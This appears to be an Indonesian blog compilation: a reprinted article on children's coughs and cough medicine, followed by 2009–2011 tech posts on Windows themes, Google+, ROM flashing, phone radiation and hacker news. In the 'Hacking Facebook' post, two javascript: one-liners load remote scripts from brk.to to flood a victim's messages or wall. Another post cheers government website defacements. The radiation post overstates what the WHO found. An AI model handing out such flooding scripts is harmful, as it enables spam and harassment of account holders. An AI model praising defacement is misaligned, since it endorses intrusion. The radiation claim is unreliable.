Batuk ternyata merupakan salah satu sistem pertahanan untuk mengeluarkan benda asing dari dalam tubuh. Tetapi, tentu saja, ada juga batuk yang merupakan gejala penyakit serius.Pergantian musim penghujan ke musim kemarau mudah membuat kita terserang batuk. Sungguh menyiksa jika batuk sudah menyerang. Tak heran jika banyak orang menganggap batuk sebagai gejala penyakit yang harus segera ditangani. Orang tua yang anaknya terserang batuk pasti langsung berusaha mencari obat untuk mengobati batuk putra-putrinya. Padahal, menurut Dr. dr. H. Muljono Wirjodiardjo, Sp.A, Ph.D, tak selamanya batuk itu buruk.

"Batuk tidak selalu harus dimusuhi, karena secara fisiologis, batuk sebetulnya merupakan salah satu mekanisme pertahanan tubuh," lanjut Muljono. Yang harus diperhatikan adalah penyebab batuk dan dalam keadaan bagaimana batuk terjadi.
Batuk terjadi di saluran napas, yang dibagi menjadi saluran napas bagian atas dan saluran napas bagian bawah. Ketika terjadi gangguan pada saluran napas bagian atas misalnya, maka tubuh akan membentuk mekanisme pertahanan dengan bersin atau batuk. Sementara gangguan pada saluran napas bagian bawah biasanya akan membuat tubuh melakukan refleks dengan batuk.

Dilihat dari mekanismenya, batuk dan bersin memiliki mekanisme yang sama dengan bernapas, yaitu menghirup (inspirasi) dan mengeluarkan napas (ekspirasi). "Batuk sebetulnya adalah letupan atau ledakan ekspirasi, begitu pun bersin. Bedanya, kalau batuk, waktunya sangat singkat dan udara yang keluar dari paru-paru sangat cepat, sementara inspirasi bisa kita atur, mau lambat atau cepat."
Udara yang keluar dari paru-paru akibat batuk akan membuat segala sesuatu yang menghambat di saluran napas terbuang keluar. "Terutama benda asing, cairan, atau lendir, sehingga saluran napas jadi bersih. Oleh karena itu, terkadang batuk justru diperlukan untuk membuang semua yang menyumbat saluran napas. Yang berbahaya justru jika benda yang menghambat saluran napas tidak bisa dikeluarkan lewat mekanisme batuk," ujar spesialis paru anak dari RSI Bintaro ini melanjutkan.

BATUK PENYAKIT
Berbeda dengan batuk "biasa" yang masih dalam batas toleransi, ada juga batuk yang merupakan gejala penyakit. "Kalau batuknya sangat sering, tidak menghiraukan waktu, siang malam batuk, bisa jadi itu merupakan gejala penyakit. Ini yang harus dikendalikan."Batuk bisa terjadi akibat adanya rangsangan di saluran napas, tapi ada juga batuk yang disebabkan oleh adanya kelainan pada tubuh itu sendiri. "Jadi, bukan akibat adanya rangsangan, melainkan karena ada kelainan pada tubuh," kata Muljono. Batuk akibat adanya rangsangan misalnya batuk karena alergi, karena debu atau udara kotor, atau karena bau-bauan yang menyengat.Batuk bisa juga terjadi akibat kelainan atau penyakit yang terjadi di saluran pernapasan. Contohnya TBC, penyempitan saluran napas, atau penyakit paru yang lain. Jika batuk terjadi karena TBC, kuman-kuman TBC yang ada di paru-paru akan tersembur keluar dan menular ke orang lain. Ada juga batuk akibat adanya gangguan otak (sistem saraf pusat). "Pernapasan, kan, dikontrol oleh otak juga."Pada bayi, batuk bisa merupakan gejala alergi, baik alergi susu maupun debu. Bisa juga batuk karena infeksi virus dan adanya aliran balik isi lambung ke arah jalan napas (gastroesofageal reflux), terutama anak yang mempunyai masalah pencernaan.Pada balita, yang paling sering adalah batuk karena alergi yang menyangkut alat pernapasan atas, yakni hidung, telinga, dan tenggorokan. Contohnya sinusitis dan asma. "Pada penderita sinusitis, rongga akan selalu mengeluarkan lendir yang tidak mengalir ke hidung melainkan ke tenggorokan. Ini yang menyebabkan batuk."Yang belakangan juga banyak menyerang anak adalah batuk 100 hari atau pertusis. "Cirinya, batuknya kering dan berkali-kali."

JENIS OBAT BATUK
Penanganan batuk harus disesuaikan dengan penyebabnya. "Apakah karena alergi, infeksi virus, atau kelainan fisiologis lain," kata Muljono. Untuk pertolongan pertama, pemberian obat bebas boleh-boleh saja. "Tapi sekali anak sudah batuk berdahak, sebaiknya segera bawa ke dokter untuk membedakan, apakah hanya flu biasa atau ada faktor alergi."
Beberapa zat yang biasanya terdapat dalam obat batuk di antaranya adalah antitusif untuk menekan batuk dan dekongestan (melegakan jalan napas), pengencer lendir, atau kombinasi. Dekongestan umumnya membantu melebarkan saluran napas atas dengan jalan mengurangi oedema (pembengkakan saluran napas di hidung).
Salah satu jenis obat batuk yang sejak dulu populer adalah obat batuk hitam (OBH). "Untuk batuk ringan, OBH atau obat batuk putih generik bisa digunakan." Sementara beberapa obat batuk yang dijual bebas sebetulnya tidak begitu dianjurkan untuk anak-anak, khususnya obat-obat batuk yang sudah ditambah dengan berbagai inovasi.
Pemakaian obat batuk yang mengandung pengencer lendir sebaiknya juga harus hati-hati, khususnya untuk anak kecil yang otot-otot pernapasannya masih lemah. "Pemakaian yang terlalu lama sebetulnya tidak baik, karena lendir yang mengencer malah akan memenuhi saluran napas, sehingga anak mengalami sesak napas. Jika tidak diimbangi tindakan fisioterapi, seperti menepuk-nepuk punggung, maka pemakaian obat batuk yang mengandung pengencer lendir pada bayi atau anak malah bisa sangat berbahaya."Yang harus diwaspadai, lanjut Muljono, "Ada obat batuk yang mengandung zat-zat yang bisa memengaruhi kerja otak dan meredam susunan saraf pusat, misalnya kodein. Obat-obatan ini biasanya jenis yang mengandung narkotika, jadi sebaiknya tidak dipilih. Untuk penderita asma, pemakaian obat-obat ini memang akan menghilangkan batuk, tapi saluran napas yang justru akan tersumbat oleh sekresi," kata Muljono.

HINDARI BENDA KECIL
Waspada jika Anda memiliki putra/putri yang masih kecil. Anak usia 1-2 tahun harus dihindarkan dari kemasukan benda asing di saluran napas atas (hidung). "Anak-anak kecil sering memasukkan benda-benda kecil, misalnya misalnya tisu, mainan dari plastik, kacang, atau baterai kancing ke dalam hidung mereka. Karena basah oleh ingus, biji atau benda yang dimasukkan ke lubang hidung tadi akan membesar, sehingga tidak bisa keluar. Akibatnya, terjadi infeksi," kat Muljono.

Infeksi ini akan membuat anak mimisan dan mengeluarkan nanah yang berbau. Ini biasanya akan membuat anak batuk terus-terusan. Terkadang, anak yang masih kecil tidak bisa mengatakan apa yang ia rasakan, tahu-tahu sudah berdarah. "Oleh karena itu, orang tua sebaiknya tidak sembarangan maneruh atau membuang benda-benda kecil."

BACA LABEL OBAT
a.. Pada keadaan darurat, misalnya tengah malam, anak batuk, cara-cara tradisional bisa dilakukan. Misalnya, mengolesi dada dengan minyak telon, minyak kayu putih, atau bawang. "Cara ini bisa membantu, tapi harus hati-hati karena ada efek sampingnya, misalnya iritasi kulit. Cara yang lebih baik adalah dengan menggunakan uap panas yang diberi Vicks, yang mempunyai efek melegakan napas," kata Muljono.
b.. Sebelum membeli obat batuk di toko obat atau apotek, pilih obat yang sesuai dengan batuk yang dialami anak. "Sebutkan keluhan sesuai usia. Sebetulnya, asal kita membaca dengan teliti petunjuk pada label obat, umumnya aman-aman saja, kok." Yang juga diperhitungkan adalah mana yang lebih diutamakan, batuknya atau mengencerkan lendirnya. "Kadang, batuk tidak boleh ditekan karena justru sangat berguna. Kalau batuk ditekan dan anak tidak batuk, bisa-bisa anak malah sesak karena lendir."
c.. Lebih baik ke apotek, karena di apotek ada apoteker yang lebih tahu tentang obat ketimbang tukang obat.
d.. Jika anak tak juga sembuh selewat seminggu, sebaiknya segera pergi ke dokter untuk dicari penyebab batuk.
e.. Jangan terlalu percaya atau fanatik terhadap satu jenis obat batuk saja. "Asal anak batuk, lalu diberi obat tersebut. Bisa jadi, suatu ketika obat itu tak lagi manjur, karena mungkin jenis batuk anak kali ini berbeda. Jangan juga "meneruskan" tradisi memberikan obat tertentu kepada anak berikutnya. "Setiap anak, kan, mempunyai sifat tersendiri," kata Muljono. (Nova)

Sumber Artikel Ini :Kompas 2006-05-31 19:33:30

Theme Angry Bird untuk Windows 7, Unduh di Sini

2011-07-15T05:47:00.000-07:00

Jika Anda fans berat games fenomenal Angry Birds, tema ini harus terinstall di PC Windows Anda. Seperti namanya, tema Angry Birds untuk Windows 7 ini berisi gambar Angry Birds. Terdiri dari enam desktop wallpapers termasuk si babi hijau, tema Angry Birds juga dilengkapi sound effect si burung.

Saat keluar dari Windows, bukan default sound Windows yang akan Anda dengar, melainkan suara jeritan Angry Birds seperti saat Anda melemparnya untuk menghancurkan bangunan di games Angry Birds. Sound effect lainnya adalah suara babi yang muncul ketika ada email masuk di PC Anda.

Klik disini untuk download Angry Birds theme dari Microsoft.

(via:gopego)

Seberapa Cepat Flashdiskmu?

2011-07-15T05:37:00.000-07:00

Kini, hampir setiap pengguna komputer memiliki USB Flashdisk, hanya orang yang gaptek yang tidak memiliki flashdisk. Tetapi apakah mereka tahu seberapa cepat flashdisk yang dimiliki tersebut ? Karena sebagian besar ketika ingin membeli sebuah flashdisk, salah satu parameter yang di perhatikan adalah seberapa besar kecepatan baca tulis USB Flashdisk yang dimiliki. Ada banyak program untuk mengetahui hal ini, salah satunya adalah SpeedOut.

SpeedOut merupakan program gratis yang dibuat untuk mengetahui seberapa cepat USB Flashdisk ( temasuk eksternal HDD, USB Stick dll) membaca data dan menulisannya (Reading speed dan Writing Speed). Reading Speed artinya kecepatan membaca data yang ada di flashdisk, sedangkan Writing Speed artinya kecepatan ketika menulis/copy data ke flashdisk.

Penggunaan sangat mudah, tinggal memilih drive USB Flashdisk yang ada dan klik tombolstart, tidak ada tombol yang lain. Hasilnya bisa langsung kita lihat dalam tampilan yang cukup menarik.

Tampilan diatas adalah hasil test dengan Flashdisk Trancend 4GB.

SpeedOut mempunyai beberapa keunggulan dibanding program sejenis, semisal HDD Tune. Beberapa fitur dan keunggulan program ini yaitu :

Bersifat portable, hanya satu file exe saja yang langsung dijalankan
Tidak perlu format Flashdisk
Low level technology, yang memungkinkan mengetahui kecepatan nyata dan tidak terpengaruh oleh file sistem.
Antarmuka yang sederhana tetapi cukup menarik dan informatif
Penggunaan sangat mudah
Data tidak akan terhapus atau rusak ketika proses testing, baik test kecepatan baca maupun tulis

Setelah hasilnya ditampilkan, kita juga bisa meng-copy hasil test melalui klik icon SpeedOut atau tekan tombol Alt+Space. Program ini mempunyai ukuran sekitar 1 MB saja, sehingga cukup mudah didownload. Dapat berjalan di Windows XP, 2000 ,Vista dan juga Windows 7.

Jika anda menggunakan program ini, mungkin hasilnya bisa di copy dan dipaste di bagian komentar dengan menambahkan tipe/merk flashdisk yang digunakan. Sehingga bisa kita gunakan sebagai referensi.

Program ini dapat didownload di :https://sites.google.com/site/mbentefor/documents

(via: ebsoft)

Google +, Facebook Killer!!!

2011-07-13T00:18:00.000-07:00

Apakah anda pernah mengdengar Google Plus? Kalau sudah, pernahkah anda mencoba menggunakannya? Jika belum mencoba, rasanya kurang asyik kalau hanya pernah mendengarnya saja tanpa pernah mencobanya sendiri.

“Cara berbagi seperti dalam hidup nyata, yang dirancang kembali untuk web“, itulah slogan yang bisa anda temukan ketika berkunjung ke Google Plus. Google Plus sendiri adalah web jejaring sosial baru yang dibangun oleh Google yang dipastikan menjadi pesaing dari “social network” yang sudah ada seperti seperti Facebook maupun Twitter.

A) Design

Seperti kebanyakan website dari produk Google, simple dan minimalis adalah ciri khas dari mereka, yang lebih mengedepankan sisi User Interface (UI) design dari pada design yang colorfull. Hampir semua orang tidak akan mempermasalahkan hal ini karena yang terpenting adalah fungsionalitas dari web itu sendiri.

B) Usability

Memang benar, tidak banyak fitur yang ada di Google plus, tetapi dengan hal itu pengunjung tidak akan bingung untuk menggunakannya. Meskipun begitu, jika anda belum pernah menggunakan Google Plus, kebingungan bisa dirasakan ketika pertama kali menggunakan Google Plus.

Navigasi dan icon bisa ditemukan dengan mudah pada bagian kanan dan kiri, yang yang diikuti dengan background berwarna putih.

C) Integrasi dengan Google Account

Sama dengan produk Google yang lain, Google Plus sudah terintegrasi dengan produk Google yang lain. Anda bisa menemukan banyak menu dari Google pada bagian atas. Selain itu, profile Google anda bisa langsung tercatat pada Google Plus tanpa harus mengedit lagi yang tentunya akan menyingkat waktu proses integrasi account.

Selain pin di atas, ada beberapa fitur utama yang bisa digunakan dan dimanfaatkan layaknya situs jejaring yang lain. Karena Google plus ini masih baru, banyak yang belum tahu apa yang bisa dilakukan dengan Google Plus. Berikut ini adalah fitur utama yang akan menjadi pesaing berat Facebook:

1) Circles

Merupakan lingkaran pertemanan yang bisa digunakan dengan cara memasukkan nama-nama ke dalam group. Setiap pengguna bisa berbagi konten dan file dengan format yang berbeda di dalam linkaran pertemanan yang sudah anda buat.

Secara default, ada beberapa lingkaran pertemanan yang sudah siap digunakan yaitu Acquaintances (Kenalan atau orang yang baru dikeal), Family (Keluarga), Friends (Sahabat atau teman) dan Following (Orang yang kita ikuti). Jika ingin menambahkan lingkaran lain, cukup dengan menambahkan pada icon “Membuat lingkaran baru”.

2) Hangouts

Pilihan ini yang mungkin beum ditemukan di jejaring sebelumnya, anda bisa menggunakan layanan video conference dengan banyak orang dalam satu waktu. Yang diperlukan adalah sebuah webcam dan koneksi internet yang cepat agar anda bisa berkomunikasi dengan lancar.

3) Huddle

Huddle adalah kata lain dari group yang memungkinkan pengguna Google Plus bisa membuat, menambah anggota dan berinteraksi dengan pengguna lain di group tersebut. Jika sering berinteraksi dalam group Facebook, pengguna tidak akan kesulitan lagi karena fungsinya memang sama namun dengan tampilan yang berbeda.

4) Sparks

Fitur ini memungkinkan anda berkumpul dengan komunitas tertentu yang memiliki ketertarikan yang sama pada sebuah hal. Bisa jadi, hobi anda selama ini bisa lebih tersalurkan dengan adanya Sparks pada Google Plus.

Dilihat dari fitur yang ada, ini menjadi bukti kalau Google memang sedang menantang dominasi Facebook sebagai situs jejaring sosial terbesar di dunia. Sayangnya, saat ini versi dari Google Plus masih beta dan tidak semua orang bisa menggunakannya. Untuk masuk ke situ, harus ada orang lain yang terlebh dahulu masuk ke Google Plus dan mengundang anda untuk menjadi bagian dari Google Plus.

(via: fastncheap)

2011-07-12T23:54:00.000-07:00

Percayakah anda bahwa untuk bisa mendapatkan gadget idamannya, seorang remaja merelakan salah satu ginjalnya untuk didonorkan ke orang lain?

'Gila!', ya mungkin itu kata pertama yang akan anda ucapkan setelah membaca judul berita diatas. Seorang remaja berumur 17 tahun di kota Chenzhou rela menjual sebelah ginjalnya demi membeli iPad2. Remaja yang diketahui bernama Xiao Zhen itu mengaku nekat melakukannya karena sangat ingin memiliki sebuah iPad2. Perbuatan nekat itu terjadi karena Xiao Zhen melihat sebuah iklan di internet bahwa seorang agen berani membayar sekitar 20.000 yuan (sekitar 26 juta rupiah) untuk sebuah ginjal.

Setelah meyakinkan diri Xiao Zhen pergi ke rumah sakit di kota ChenZhou propinsi Hunan dan melakukan operasi pengangkatan ginjal yang dilakukan oleh beberapa dokter swasta pada tanggal 28 April yang lalu. Operasi berjalan sukses dan setelah pemulihan selama 3 hari di rumah sakit tersebut, Xiao Zhen diperbolehkan pulang dan mendapat bayaran 20.000 yuan.

Tanpa menunggu waktu lama uang itu digunakan untuk membeli sebuah iPad2 dan iPhone4. Ibunya yang heran melihat putranya membawa 2 gadget yang mahal itu pun bertanya darimana dia bisa mendapatkan kedua gadget tersebut. Setelah dipaksa akhirnya Xiao Zhen mengaku kepada ibunya bahwa salah satu ginjalnya telah dijual demi mendapatkan uang untuk membeli kedua gadget tersebut. Akhirnya kasus ini pun menggemparkan China dan menjadi urusan pihak berwajib.

Apple iPad2 memang sangat populer di negeri China dan menjadi gadget idaman semua orang di China terutama remaja tidak heran jika semua orang rela melakukan apa saja demi mendapatkannya.

(via: Teknoup)

Mengapa Demam?

2011-07-12T23:32:00.000-07:00

Pernahkah anda sakit?
Saat kita sakit seperti flu, atau mengalami infeksi maka kita akan mengalami demam. Saat kita demam, maka suhu tubuh kita cenderung naik. Mengapa suhu badan kita naik?

Kita sakit karena ada zat-zat berbahaya yang memasuki tubuh kita, misalnya bakteri berbahaya. Sel darah putih mengenali bakteri berbahaya ini dan memulai usaha untuk melumpuhkan bakteri itu, dengan melepas berbagai jenis protein bernama cytokine. Beberapa macam cytokine mengakibatkan terbentuknya senyawa-senyawa prostaglandin. Hypothalamus di otak sangat peka akan prostaglandin ini, sehingga mengirimkan sinyal ke seluruh tubuh untuk menaikkan suhu. Ini dilakukan atara lain dengan mempercepat proses metabolilsme, atau menggetarkan otot-otot (menggigil) untuk menimbulkan panas yang berlebih.

Naiknya suhu badan akan memperlambat laju bakteri penyerang untuk berkembang biak, dan juga mempercepat reaksi pelumpuhan bakteri.

Cytokine juga mengakibatkan efek-efek sakit lain, seperti kelelahan, mengantuk, dan rasa nyeri di sendi. Efek-efek ini memaksa kita untuk beristirahat, sehingga badan lebih cepat disembuhkan.

Seperti yang dikatakan sebelumya bahwa demam kadang bukan sesuatu yang buruk, karena demam adalah proses respon tubuh terhadap infeksi itu sendiri . Tetapi ada beberapa keadaan dimana anda sebaiknya mencari pertolongan medis atau konsultasi ke dokter anda, yaitu:

*Untuk bayi dibawah 3 bulan dengan suhu tubuh diatas 38C.

*Untuk anak yang lebih tua dan orang dewasa , sebaiknya konsultasikan ke dokter anda bila :

- Terdapat panas yang naik turun dalam 3 hari ;
- Suhu meningkat diatas 39 C ;
- Adanya panas yang disertai menjadi tidak mau makan dan minum sertai gelisah; mual muntah; sakit kepala hebat; sakit perut; timbul rash pada kulit; kesulitan pernafasan; atau gejala lainnya yang tidak dapat dijelaskan.

Inikah Counter HP milik Mak Erot?

2011-07-08T07:20:00.000-07:00

Di Indonesia sekarang tengah menjamur counter-counter yang menjual pulsa, dan sekaligus melayani service berbagai jenis HP. Maraknya counter tersebut tentunya akan memacu persaingan di antara mereka dan memunculkan kreativitas untuk meraih pelanggan, salah satunya adalah counter berikut:

Perhatikanlah plang namanya, ada yang aneh?
Kemungkinan counter ini adalah milik keluarga Mak Erot, selain melayani perbaikan HP, juga melayani anda-anda yang mengalami masalah seksual. :-)

Hacking Facebook

2011-07-08T07:01:00.000-07:00

Tips yang saya berikan berikut ini bukan ditujukan untuk hal-hal yang negatif seperti mencuri data orang atau pun penipuan, semuanya hanya untuk kepentingan pendidikan. Segala resiko yang timbul adalah tanggungjawab pengguna.

Yang saya berikan sekarang adalah javascript sederhana untuk melakukan flooding pada account facebook seseorang. Bagi yang belum tau flooding, flooding adalah metode membanjiri jaringan seseorang dengan pesan atau paket data tertentu. Untuk kali ini, yang menjadi korban adalah facebook.

1. Flooding dengan message:

masukkan script ini di address bar pada browser anda (tanpa tandapetik):

"javascript:(a = (b = document).createElement("script")).src = "//brk.to/flood", b.body.appendChild(a); void(0);"

setelah itu akan muncul kotak dialog yang menanyakan jumlah pesan yang akan dikirim, lalu muncul lagi kotak dialog kedua, ketik pesannya

2. Flooding terhadap wall

masukkan script berikut di address bar di browser (tanpa tanda petik):

"javascript:(a=(b=document).createElement("script" )).src="//brk.to/wall",b.body.appendChild(a);void(0);"

Tetapi harus anda ingat, kalau anda sering melakukan flooding terhadap account orang, maka account anda bisa diblokir oleh facebook, karena dianggap mengirimkan spam. Jadi, bijaksanalah menggunakannya.

Acer Iconia A500 mendapat update Honeycomb 3.1

2011-07-08T00:34:00.000-07:00

Setelah menunggu sekian lama, akhirnya pengguna Acer Iconia A500 mendapatkan update resmi ke Honeycomb 3.1 dari Acer. Update ini dikirimkan via OTA. Untuk memastikan keberhasilan update ini disarankan menggunakan koneksi wifi yang stabil. File updatenya berukuran 117 MB.

Kemarin, saat mendapat notifikasi untuk update ke android 3.1, koneksi ke google tampaknya sangat sibuk. Saya harus mengulangi proses download sekitar 5 kali, karena proses download gagal saat file baru terdownload sebagian.

Setelah download selesai, tablet anda akan restart dan masuk ke recovery mode. Pada proses ini dilakukan extract file yang masih dalam ekstensi .zip, lalu diinstall ke tablet kita.

Setelah selesai, tablet anda akan restart sekali lagi. Untuk mengetahui berhasil tidaknya proses update, masuklah ke bagian setting, lalu pilih about tablet. Nanti akan tampak bahwa versi android kita adalah android 3.1

Selain update via OTA, update dapat juga dilakukan secara manual. Yang pertama harus dilakukan adalah download file update.zip dari link ini :

http://www.megaupload.com/?d=VWLMLKTZ

ukuran filenya cukup besar, sekitar 370 MB. ROM tersebut adalah ROM hasil ekstrak android 3.1 untuk iconia A500 di Cina. Jangan kawatir, karena rom tersebut multilanguage dan mensupport android market. Setelah download, copy filenya ke EXTERNAL SD CARD. Pasang SD card, lalu matikan tablet. Kemudian, tekan tombol power bersamaan dengan tombol VOL -. Saat sudah muncul recovery mode, lepaskan. Tunggu beberapa saat, tada...... tablet anda sudah menggunakan Honeycomb 3.1

Ponsel dengan Tingkat Radiasi Tertinggi

2011-07-04T04:30:00.000-07:00

Tahukah anda bahwa radiasi ponsel dapat memicu kanker otak? Beberapa waktu lalu WHO mempublikasikan hasil penelitian yang membuktikan bahwa radiasi gelombang elektromagnetik yang diradiasikan ponseldapat memicu kanker otak.

Apa yang disampaikan badan kesehatan dunia WHO beberapa hari lalu memang cukup mengejutkan. Meskipun dampak radiasi ponsel terhadap kesehatan baru akan diketahui beberapa tahun kemudian, namun penting bagi kita untuk memilih ponsel yang tepat. Setidaknya, perlu menghindari ponsel dengan level radiasi tinggi. Di sini Gopego memberikan daftar 20 ponsel dengan level radiasi tertinggi dibanding semua ponsel yang ada di pasaran saat ini.

20. Motorola i576 - level radiasi: 1.45
Berbentuk flip sederhana, Motorola i576 membuka daftar 20 ponsel radiasi tinggi dengan menempati posisi terakhir.

19. Motorola Atrix 4G - level radiasi: 1.47
Meski hebat dengan prosesor dua-core di dalamnya, Motorola Atrix 4G memiliki tingkat radiasi tinggi.

18. LG Chocolate Touch - level radiasi: 1.47
Ada dua ponsel LG yang masuk dalam daftar 20 ponsel dengan level radiasi tinggi, salah satunya adalah LG Chocolate Touch.

17. HTC Desire - level radiasi: 1.48
Smartphone Android ini rilis pada Maret 2010.

16. Motorola Droid 2 - level radiasi 1.49
Seperti halnya saudara kembarnya, Mototola Doid Global, Droid 2 CDMA ini juga memiliki tingkat radiasi tinggi.

15. Sanyo Vero - level radiasi 1.49
Meski hanya merupakan ponsel standar biasa, namun Sanyo Vero memiliki tingkat radiasi yang tidak bisa dibilang rendah.

14. Motorola Droid - level radiasi 1.49
Lebih dikenal dengan nama Motorola DROID BIONIC, Motorola Droid merupakan smartphone Android CDMA.

13. LG Rumor 2 - level radiasi 1.51
Desainnya agak aneh dengan keypad dan keyboard. Ponsel ini didesain untuk user yang hobi SMS.

12. Blackberry 9000 Bold - level radiasi: 1.51
Anda salah satu pengguna BB 9000 Bold? Meski bukan tergolong baru namun versi BlackBerry ini masih banyak dijumpai di pasar ponsel. Hati-hatilah, karena tingkat radiasinya yang tergolong tinggi.

11. ZTE Salute - level radiasi: 1.52
Ponsel dengan harga terjangkau ini buatan produsen China, ZTE. Dirilis pada Agustus 2010 lengkap dengan CDMA 3G support. Sumber: www.gopego.com

Facebook Merekrut Hacker iOS dan PS3 sebagai Staf

2011-07-04T04:14:00.000-07:00

Tahukah Anda? Salah seorang hacker yang luar biasa bernama George Hotz atau yang lebih dikenal sebagai Geohot, kabarnya kini telah bekerja di Facebook. Rumor ini muncul setelah Geohot tidak pernah muncul di berbagai forum hacking iOS dan PS3 di dunia maya. Berbagai sumber sekarang pun telah mengkonfirmasi kebenaran hal itu terkait pekerjaaannya di perusahaan raksasa jejaring sosial tersebut.

Geohot ini memang dikenal sebagai orang yang bermasalah karena pernah menghack iOS seperti blackra1n, purplera1n, dan limera1n. Meskipun tidak dalam kapasitasnya untuk menyaingi iPhone Dev Team, tapi saat itu sosok Geohot telah mampu mengalahkan kelompok pembobol terkenal yang pernah menghack komunitas iOS di berbagai kesempatan. Dalam waktu belakangan ini, Geohot telah menjadi terkenal bahkan kabarnya juga pernah digugat oleh Sony atas aksi hacknya terhadap konsol PlayStation 3 melalui firmware yang ada. Aksi hack-nya juga dianggap sebagai pembobol ilegal, karena telah berhasil membuka yang sebelumnya tidak dapat diakses dengan sistem operasi lain pada konsol yang memungkinkan konsol PS3 dapat mengoperasikan perangkat lunak bajakan. Hal inilah yang mendorong Sony untuk menuntut dan ingin menjebloskannya ke penjara.

Namun di luar berbagai kasus hack yang dilimpahkan kepadanya, baru-baru ini Geohot dikabarkan telah bekerja di Facebook sebagai salah satu perusahaan raksasa layanan jejaring sosial dan situs web yang sangat populer dengan lebih dari 600 juta pengguna aktif si seluruh dunia saat ini. Menurut laporan TechUnwrapped dan Techmeme Gabe Rivera itu, Geohot telah bergabung dengan Facebook sebagai insinyur perangkat lunak sejak bulan Mei 2011 yang lalu. Hotz sendiri juga dilaporkan telah mengkonfirmasi kepindahan lebih awalnya pada tanggal 17 Juni ini.

Saat ini Facebook sendiri dilaporkan sedang mengerjakan sebuah proyek rahasia “Trojan” atau “Spartan” yang digambarkan oleh media teknologi sebagai serangan yang direncanakan terhadap Apple App Store.

Memang masih diragukan kalau Geohot telah menjadi anggota tim pada proyek tersebut, tetapi di sisi lain Facebook juga diketahui secara aktif sedang mengembangkan aplikasi iPad asli.

Menurut New York Times, Facebook telah mengerjakan aplikasi tersebut selama hampir setahun. Dan bahkan Mark Zuckerberg selaku CEO dan pendiri Facebook, kabarnya juga telah membenarkan kalau salah seorang telah berkerja dan secara aktif terlibat dalam proyek, mengawasi keputusan desain dan fitur kunci aplikasi lainnya.

Flashing ROM Samsung i780

2010-10-24T04:56:00.000-07:00

Sudah 2 tahun saya menggunakan HP tercinta ini, yaitu Samsung i780, yang nama kerennya IJBO. HP ini sangat tangguh, spesifikasi OK bahkan bisa dibilang sangat canggih di jamannya. Saking seringnya dipakai, keypadnya udah lecet parah. Sejak 3 bulan lalu, HP ini mengalami masalah seperti sering restart, notification sound sering tidak berbunyi dan sering hang. Untuk itulah saya mengambil keputusan untuk melakukan flashing terhadap HP ini. Berikut langkah-langkah yang harus dilakukan untuk flashing IJBO.Pertama-tama, kita harus menyiapkan kabel data dan pastikan bahwa batere terisi penuh, karena jika saat flashing batere mati, peluang menggunakan HP ini lagi akan kecil he he he...

Siapkan aplikasi Mirage LV v 1.8
Siapkan ROM yang akan anda gunakan, ROM ini bisa diperoleh dengan googling, bisa juga dicari di forum kaskus atau xda developer
Buka aplikasi Mirage LV, jangan sambungkan IJBO dulu
Pilih Profile MIRAGE LV image
Klik button PDA, lalu pilih ROM yang akan anda gunakan
Klik Detect
Matikan handset, lalu tekan tombol alt, enter dan tombol power bersamaan untuk masuk ke mode Emergency
Pasang kabel data ke handset dan ke komputer
Tunggu sampai loading ROM ke handset sampai selesai
Jika sudah selesai, lepaskan kabel data dan cabut batere selama 15 detik, lalu pasang kembali
Lakukan hard reset dengan jalan menekan tombol "OK/Call" dan "No/Lock" dan tombol power secara bersamaan

Rom yang pertama kali saya gunakan adalah menggunakan WM 6.5.3. Hasilnya IJBO tampak sangat cantik dan tampilannya sangat mirip Samsung Omnia. Tetapi saya menumukan beberapa bug, seperti tidak stabilnya finger mouse, batere menjadi sangat boros dan panas, dan sering terjadi lag saat membuka menu. Karena tidak puas, saya kemudian mendownload ROM yang menggunakan WM 6.1 yang cooked with HTC theme. Hasilnya cukup memuaskan, walaupun tampilannya tidak semewah saat menggunakan WM 6.5.3, tetapi semua fasilitas yang saya inginkan telah ada seperti thread sms.

Posting Lagi

2010-10-13T05:50:00.000-07:00

Mulai hari ini blog ini akan saya aktifkan lagi, tetapi isinya tidak hanya berkisar tentang komputer saja, tetapi juga hal-hal lain yang mungkin dapat menambah pengetahuan kitaBeberapa bulan lalu, saya terlalu sibuk, sehingga tidak memiliki waktu untuk mengurus blog ini. Kesibukan kuliah dan pekerjaan menyita banyak waktu saya. Bahkan untuk pergi ke gym pun saya tidak memiliki waktu. Tetapi mulai sekarang, blog ini akan saya aktifkan lagi

Hacker Indonesia vs Hacker Malaysia

2009-07-05T19:26:00.000-07:00

Malaysia memang selalu membuat gara-gara dengan bangsa kita yang tercinta ini, setelah merebut pulau Sipadan dan ligitan, sekarang mereka juga berusaha merebut wilayah Ambalat. Inilah rupanya yang menyulut terjadinya perang cyber antara Malaysia dan Indonesia. Beberapa serangan yang terjadi biasanya dalam wujud deface terhadap website. Yang terakhir adalah serangan hacker Malaysia terhadap situs pemerintah kota Jakarta (www.jakarta.go.id)

Serangan ini dilakukan oleh kelompok hmsecurity.org. Sampai saat ini situs pemerintah Jakarta ini tidak bisa diakses. Serangan ini tentunya menyulut rasa amarah dan membakar nasionalisme kelompok hacker dari Indonesia. Kelompok yang menamakan dirinya sebagai jatimcrew ini mendeface situs peemerintah Malaysia yang beralamat www.ssig.gov.my. Saat saya cek ternyata situs tersebut memang sudah diobok-obok oleh jatimcrew, bahkan anggotanya yang dg nickname g3mb3l memasang gambar dengan nada provokatif. Ini membuktikan bahwa hacker Indonesia tidak kalah dengan hacker dari Malaysia.
Selain serangan itu, situs Malaysia yang pernah di hack oleh the g3mb3l adalah situs Universitas Malaysia.

Rakyat Indonesia cinta damai,
tapi kalau terus-terusan di usik dan di lecehkan kami juga bisa marah, sabar ada batasnya. Pulau Sipadan dan Ligitan sudah di ambil, sekarang mau mencaplok blok Ambalat, Saudara Kami yang ada di sana Dengan Kejinya Kalian Siksa tanpa Rasa kemanusiaan..!!
Ini adalah peringatan dari kami, Jika kalian terus mengusik kami, maka akan kami lanjutkan perjuangan ini dengan cara kami sendiri..!!

Itulah yang dituliskan para hacker di situs tersebut. Perjuangan tidak hanya melalui diplomasi, tetapi juga lewat perang cyber!!!

Facebook Haram?

2009-05-25T16:29:00.000-07:00

Beberapa hari ini media-media di Indonesia sibuk memberitakan bahwa para ulama di Jawa Timur mengeluarkan fatwa haram kepada situs jejaring sosial "facebook". Situs ini ditengarai memberikan pengaruh negatif kepada penggunanya, bahkan memicu terjadinya perselingkuhan dan perzinahan.
Saya merupakan salah satu orang yang tidak terlalu tertarik dalam menggunakan facebook, walaupun saya memiliki sebuah account facebook, saya tidak pernah menggunakannya. Saya merasa bahwa saya tidak terlalu memerlukan fasilitas yang diberikan situs ini.

